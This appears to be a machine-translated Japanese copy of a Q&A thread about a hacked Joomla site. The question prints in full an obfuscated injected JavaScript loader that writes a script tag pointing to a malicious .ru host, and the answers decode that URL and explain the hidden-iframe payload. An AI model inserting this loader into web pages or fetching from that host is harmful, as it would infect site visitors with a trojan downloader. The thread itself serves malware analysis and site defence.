web-dev-qa-db-ja.com

このサイト感染スクリプトはどのように機能しますか?

私のJoomla!ウェブサイトは繰り返しハッキングされています。誰かがどういうわけか、次のゴミを主要なphpスクリプトに注入することができましたが、私はJoomlaの構成について話さないつもりです。このサイトはあまり訪問されておらず(私がそのサイトへの唯一の訪問者であるのではないかと心配することもあります...)、サイトをバックアップして実行することはあまり気にしません。最終的にはそれを処理します。

私の質問は、このゴミはどのように機能するのかということです。私はそれを見て、これがどのように害を及ぼすのかわかりませんか?トロイの木馬に感染したChangeLog.pdfというPDFファイルをダウンロードしようとすると、Acrobatがフリーズし、マシンに大混乱が発生します。それはわかりませんが、気にしませんが、次のスクリプトはどのようにダウンロードを呼び出すのでしょうか。

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

[〜#〜] eset [〜#〜] は、このコードをJS/TrojanDownloader.Agent.NRO trojanとして検出しました

99
Peter Perháč

巨大な乱雑な文字列.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')の後のreplace呼び出しに注意してください。

ほとんどの特殊文字を削除し、通常のURLに変換します。

_evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
_

(手動で_http:_を_evil:_に変更しました)

正規表現は.replace(/[#$@^&()!]/ig, '')に簡略化されている可能性があることに注意してください

スクリプトを見ると、同じドメインからのパス_/index.php?ys_を含む非表示のIFRAMEを挿入する非常に単純なスクリプトであることがわかります。

Fiddlerでそのページをリクエストしましたが、コンテンツがありませんでした。

180
SLaks

これらの答えは、悪意のあるJavaScriptコードの性質を理解するのに役立つかもしれませんが、探しているのは、Joomlaエンジンに固有の抜け穴を塞ぐ方法です。事前にパッケージ化されたフレームワークは、特にUNIX、Mac、およびWindows環境で動作するように設計されていることを考慮すると、意図的または非意図的な抜け穴が発生しやすくなります。

私の仕事では、クライアントと私自身のために、さまざまな種類のサーバーとシステムで多くのドメイン、アプリケーション、フレームワークを実行する必要があります。時間の経過とともに、これらのフレームワークによって作成された裏口の入り口を経由して、既知の抜け穴/入り口を探してこれらのシステムをクロールするボットがますます増えています。私がめったに使用しないタイプのフレームワークを使用する場合は、ファイル構造全体ではないにしてもほとんどの名前を変更して、厄介な抜け穴や裏口を取り除くようにします。少なくとも、ほとんどのボットを破棄するディレクトリの名前を変更できますが、私の方法は、ディレクトリだけでなくファイル構造全体の名前変更を含む、フレームワークの性質に関する手がかりを与える参照を完全に排除することです。ベースフレームワークへのプラグインの追加を簡単にするために、古い命名規則に関連する新しい命名規則のマップを常に保持してください。このコツをつかんだら、フレームワークのファイル構造全体をプログラムで名前変更してより迅速な結果を得ることができます。これは、プラグインなどでフレームワークを更新できる必要があるクライアントに対処する必要がある場合に特に便利です。

34
DoctorLouie

スクリプトのURLで正規表現を置き換えるだけで、

注:以下のリンクをたどらないでください(挿入された**コピーパスターを阻止する)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

srcとして

20
Russ Cam

これはreplace関数を使用して、正規表現を使用してゴミ文字を置き換えます。コードに問題はありません。

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
8
Sarfraz

からのロードスクリプト

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

そして、そのスクリプトはiframeを可視性でロードしますhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
7
YOU

インデックス*。*ファイルのページにも同じスクリプトがあります。私はPHPで自分のコードを書いています。私の質問はこれがどのように機能するかではありませんが、あなたが彼らのバックドアを知っているならどのように保護するかを尋ねています。フォームを変更し、$ _POSTと$ _GETを読んで、<>とhttp://などを置き換えました。

2
Kulik

全体を読むと、文字列の後に置換コマンドが続くことがわかります。

2
Raj More

私の2セント。 JoomlapackなどのJoomlaバックアップツールをインストールできますか?

強盗が強盗に遭った場合に備えて商品を手元に置いておくために、CHRONスクリプトを介して実行するように設定しました。

どのバージョンのJoomlaを実行していますか?

1.0.Xバージョンはもう更新されておらず、その時代は本当に現れ始めています。バックアップを実行し、1.5にアップグレードして、1.6の驚異を予測するのはあなた自身の責任です。

2
greenkoi